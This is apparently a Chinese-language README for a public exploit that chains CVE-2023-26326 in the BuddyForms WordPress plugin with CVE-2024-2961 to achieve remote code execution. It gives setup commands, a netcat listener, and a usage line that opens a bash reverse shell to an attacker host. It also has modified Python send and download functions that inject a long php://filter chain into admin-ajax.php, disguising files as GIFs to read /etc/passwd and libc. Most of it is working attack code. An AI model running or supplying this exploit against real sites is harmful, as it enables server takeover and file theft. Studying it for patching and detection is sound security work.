
usage: python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
最初,CVE-2023–26326 需要借助 gadget 链才能作为反序列化漏洞加以利用。这种方法在运行 PHP 8+ 的新版 WordPress 站点上已不再可行;不过,通过与 CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) 进行链式利用,可以改用 php://filter 而不是 phar:// 来实现漏洞利用。
该漏洞利用程序是通过修改 cnext-exploit.py 脚本创建的,并按照变更说明中的详细描述加入了针对 CVE-2023-26326 的必要更改。
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> 上启动 netcat 监听器以捕获反弹 shell:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
执行漏洞利用程序的截图
捕获反弹 shell 的截图
CVE-2024-2961 漏洞利用的核心思想得以保留,但需要进行修改,以便将过滤器链发送到网站并从服务器下载文件。
在原始漏洞利用程序中,send 函数用于向服务器发送路径:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
对于使用 BuddyForms 的 WordPress,默认通过向 /wp-admin/admin-ajax.php 发送 POST 请求进行交互,请求体数据包含 action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif。URL 参数作为向服务器发送过滤器链的注入点。因此,需要对 send 函数进行如下修改:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
原始漏洞利用程序中有一个 download 函数,负责从服务器下载文件。原始漏洞利用程序中使用的 download 函数版本如下:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
为了将其适配到 BuddyForms,我们分析了 buddyforms_upload_image_from_url 函数,该函数负责处理从 URL 上传图片。它使用 file_get_contents,通过 getimagesize() 检查文件类型,然后将内容保存到 wp-content/uploads 目录下。这使我们能够利用 php://filter 读取本地文件并将其保存到 uploads 目录,从而通过 URL 访问这些文件。不过,我们必须绕过文件类型检查,方法是在文件内容前加上 GIF89a 前缀,将其伪装成 GIF。这可以通过过滤器链来实现,wrapwrap 工具可以生成所需的链:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
使用 wrapwrap 生成过滤器链
生成的过滤器链应替换原始脚本中使用的 base64 编码。此外,从响应中提取上传文件路径的格式也需要更新,以适配 JSON 格式,该格式中的 "response" 属性被设置为文件路径。
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
请注意,在漏洞利用程序中使用文件内容之前,应移除 GIF89a 前缀,最终得到如下修改后的 download 函数:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6请注意,通过过滤器链从服务器下载 libc.so.6 文件可能无法正确工作,因为二进制文件会在该过程中被修改。正确的做法是,将正确的文件放在漏洞利用程序的根目录下。